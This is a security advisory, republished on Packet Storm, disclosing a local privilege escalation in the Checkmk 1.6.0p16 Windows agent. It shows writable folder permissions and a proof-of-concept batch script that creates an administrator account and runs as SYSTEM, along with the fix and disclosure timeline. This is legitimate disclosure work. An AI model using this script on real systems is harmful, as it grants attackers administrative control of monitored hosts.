what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Checkmk 1.6.0p16 Local Privilege Escalation

Checkmk 1.6.0p16 Local Privilege Escalation
Posted Oct 2, 2020
Authored by Thierry Viaccoz

Checkmk version 1.6.0p16 suffers from a local privilege escalation vulnerability.

tags | exploit, local
SHA-256 | 41cd3d163f2b1dd4d07d8fd2298825fb4ce75d3e7d473bbc6a6eb549e3eec3aa

Checkmk 1.6.0p16 Local Privilege Escalation

Change Mirror Download
################################################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
################################################################################
#
# Product: Checkmk
# Vendor: tribe29 GmbH
# CSNC ID: CSNC-2020-005
# Subject: Local Privilege Escalation
# Risk: High
# Effect: Locally exploitable
# Authors: Thierry Viaccoz <thierry.viaccoz@compass-security.com>
# Date: 21.09.2020
#
################################################################################

Introduction:
-------------
Checkmk [1] is an IT infrastructure monitoring software. It is consists of a
management server querying the clients and of an agent installed on the
monitored systems.

Compass Security identified a local privilege escalation vulnerability,
allowing a user on a systems monitored by Checkmk to escalate its privileges to
become a local administrator.

Affected:
---------
Vulnerable:
* Checkmk 1.6.0p16

Not vulnerable:
* Checkmk 1.6.0p17

No other version was tested, but it is believed for the older versions to be
also vulnerable.

Technical Description:
----------------------
Generally, a standard user can read and write to more paths than it should,
thereby allowing it to access and modifiy sensitive information.

Every user logged in on a system monitored by Checkmk can write to the path
where scripts are stored. These are executed regularly by the agent as SYSTEM:
C:\ProgramData\checkmk\agent\local>icacls .
. NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)

This means that the user can execute arbitrary commands as SYSTEM and escalate
its privileges. As a proof of concept, the script
"C:\ProgramData\checkmk\agent\local\script.bat" with the following content was
created:
@echo off
echo 0 myservice - OK: Custom output
whoami > C:\checkmk.txt
net user /add compass [CUT]
net localgroup Administrators compass /add

The script first writes the current user with "whoami" in the file
"C:\checkmk.txt", then creates the new user "compass" and finally adds it in
the local "Administrators" group.

After several minutes, the script gets triggered by the monitoring server
through the local agent and the file "C:\checkmk.txt" with the following
content is present:
nt authority\system

This shows that the script was executed as SYSTEM. In addition, the new local
administrator "compass" is present on the system.

A local attacker can exploit this vulnerability to gain local administrative
privileges on any system monitored by Checkmk.

Workaround / Fix:
-----------------
Restrict the paths the users can read and write to the strict minimum in order
to prevent the scripts being tampered with and sensitive information like keys
to leak to unauthorized users. This was fixed by the publisher in [2].

As a Checkmk customer, update your installation to the latest version to
receive the fix.

Timeline:
---------
2020-08-19: Discovery by Thierry Viaccoz
2020-08-24: Initial vendor notification
2020-08-31: Release of fixed version
2020-09-21: Coordinated public disclosure date

References:
-----------
[1] https://checkmk.com/
[2] https://checkmk.com/check_mk-werks.php?werk_id=11460


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close